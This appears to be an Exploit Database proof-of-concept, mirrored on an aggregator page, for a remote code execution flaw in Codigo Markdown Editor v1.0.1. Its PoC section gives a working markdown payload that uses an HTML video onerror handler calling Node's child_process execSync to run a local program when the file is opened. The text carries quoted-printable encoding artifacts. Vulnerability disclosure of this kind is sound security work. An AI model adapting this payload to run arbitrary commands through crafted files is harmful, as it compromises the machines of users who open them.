Codigo Markdown Editor v1.0.1 (Electron) – Remote Code Execution

• Exploit Database
• 117 阅读

• 作者： 8bitsec
  日期： 2023-05-05
• 类别：

  • local
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/51432/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36

  # Exploit Title: Codigo Markdown Editor v1.0.1 (Electron) - Arbitrary Code Execution # Date: 2023-05-03 # Exploit Author: 8bitsec # Vendor Homepage: https://alfonzm.github.io/codigo/ # Software Link: https://github.com/alfonzm/codigo-app # Version: 1.0.1 # Tested on: [Mac OS 13]   Release Date: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D 2023-05-03   Product & Service Introduction: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D A Markdown editor & notes app made with Vue & Electron   Technical Details & Description: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D   A vulnerability was discovered on Codigo markdown editor v1.0.1 allowing a = user to execute arbitrary code by opening a specially crafted file.   Proof of Concept (PoC): =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D   Arbitrary code execution:   Create a markdown file (.md) in any text editor and write the following pay= load: <video><source onerror=3D"alert(require(&apos;child_process&apos;).execSync(&apos;/System/= Applications/Calculator.app/Contents/MacOS/Calculator&apos;).toString());">   Opening the file in Codigo will auto execute the Calculator application.